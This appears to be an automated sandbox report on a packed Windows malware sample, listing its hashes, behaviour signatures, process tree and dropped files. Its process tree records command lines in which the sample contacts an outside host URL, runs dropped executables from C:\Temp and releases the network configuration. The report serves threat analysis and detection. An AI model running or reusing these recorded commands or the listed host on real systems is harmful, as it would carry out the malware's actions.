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Analysis

  • max time kernel
    174s
  • max time network
    188s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    03/10/2022, 01:34

General

  • Target

    174e9de4a7c8af14452c29fd196641581da9b2c43437b0976b4274d2e6c83d01.exe

  • Size

    289KB

  • MD5

    07e3df82782f478f3360b994a2da59f5

  • SHA1

    343d0f6ae512adad11cdf95c18a32fd6ec225aa6

  • SHA256

    174e9de4a7c8af14452c29fd196641581da9b2c43437b0976b4274d2e6c83d01

  • SHA512

    cce97c3aabb313b124597071bca52e9442b87cdd3ef3f6b899320f867a1893b478afab3b15bba698d78be1e336f3f39ec144534ed9f169777f12d3de6a3f3e40

  • SSDEEP

    3072:OCjicL0cRBsQB80PFvWOgoHi2PxayGYF/LwrZCuhw4oSkrZYC:EcLjsQf5goCCSVRwfvrZ

Score
8/10
upx

Malware Config

Signatures

  • Executes dropped EXE 5 IoCs
  • UPX packed file 7 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 4 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\174e9de4a7c8af14452c29fd196641581da9b2c43437b0976b4274d2e6c83d01.exe
    "C:\Users\Admin\AppData\Local\Temp\174e9de4a7c8af14452c29fd196641581da9b2c43437b0976b4274d2e6c83d01.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1696
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1696 CREDAT:275457 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:704
    • C:\temp\CP.exe
      C:\temp\CP.exe C:\Temp\cwspeauqnk.exe ups_run
      2⤵
      • Executes dropped EXE
      PID:1224
      • C:\Temp\cwspeauqnk.exe
        C:\Temp\cwspeauqnk.exe ups_run
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:940
        • C:\temp\CP.exe
          C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
          4⤵
          • Executes dropped EXE
          PID:1252
          • C:\windows\system32\ipconfig.exe
            C:\windows\system32\ipconfig.exe /release
            5⤵
            • Gathers network information
            PID:1624
    • C:\temp\CP.exe
      C:\temp\CP.exe C:\Temp\i_cwspeauqnk.exe ups_ins
      2⤵
      • Executes dropped EXE
      PID:932
      • C:\Temp\i_cwspeauqnk.exe
        C:\Temp\i_cwspeauqnk.exe ups_ins
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1824

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • C:\Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • C:\Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • C:\Temp\cwspeauqnk.exe

    Filesize

    289KB

    MD5

    7421593aa32b985a1d59124972b6b6e7

    SHA1

    1bae56d705c04396831fff5abce9d4d60b49546d

    SHA256

    29087e32d7db479ce33068ae02781d991deb53ea8860f8045ae0357067c2c09f

    SHA512

    c66bc477cec8626371c7edf3b6412a863ac45e912ec40659331f757a6c05bc90857febb8e7530be50a170ccf7b46215a69a82c1fde6ff1d6bbd6b75a70036e47

  • C:\Temp\i_cwspeauqnk.exe

    Filesize

    289KB

    MD5

    a60569ff26c86ad01b06bda8481461a6

    SHA1

    c3113aadd51c33438423836b035e3933a16a82b2

    SHA256

    942683e6408eabc35a6446a5a15996f3f1f2e3ce54057c595519368caf44515b

    SHA512

    2b1e88ff02fb55da13bbeb2f2368f00a717cec49fdf42f05ad0b8485a8a4b9e676069dece882390dd5539b6103c3e0819a40ad08fe8c127d9c2f48bdcd53f256

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\TXUCMHM0.txt

    Filesize

    603B

    MD5

    fbe735fb8a0c4936991eb3192a10b7fe

    SHA1

    1c1f0921b7e89a7001fd353e42376fa84a00f61e

    SHA256

    d784239f58b4bd823b593ad5b408ed39c52e9b5065e31c5309cab43701173a29

    SHA512

    1f5c22a0ec46975a512fe324f33bbbbc7401d0bd80db5a8582ef1e552a0ab335c8b47fa1bb0889c9bc8f89ed7a568504b355d5a086188ebf4bb697ee3cb8cade

  • C:\temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • \Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • \Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • \Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • \Temp\CP.exe

    Filesize

    4KB

    MD5

    0da87487a46ac0b219dfc10ebb7dbc09

    SHA1

    a58ed225df243160327f19f2d03ccb60693c562b

    SHA256

    88d1f04b969503b4d87d7c986ed8f2f830a9f85073fbea644e380692ab3d997c

    SHA512

    cbcae2c33b3e87e76b34a228115178a587797620e0047704d3d50ad39ea453b32a544bbc6c229347ee3e658d3dcc656c46fe42e90d3210383ad5c76852e198f4

  • memory/940-65-0x0000000000BA0000-0x0000000000BEA000-memory.dmp

    Filesize

    296KB

  • memory/1824-71-0x0000000000C40000-0x0000000000C8A000-memory.dmp

    Filesize

    296KB

  • memory/1824-72-0x0000000000C40000-0x0000000000C8A000-memory.dmp

    Filesize

    296KB

  • memory/1968-54-0x00000000013D0000-0x000000000141A000-memory.dmp

    Filesize

    296KB

  • memory/1968-55-0x00000000013D0000-0x000000000141A000-memory.dmp

    Filesize

    296KB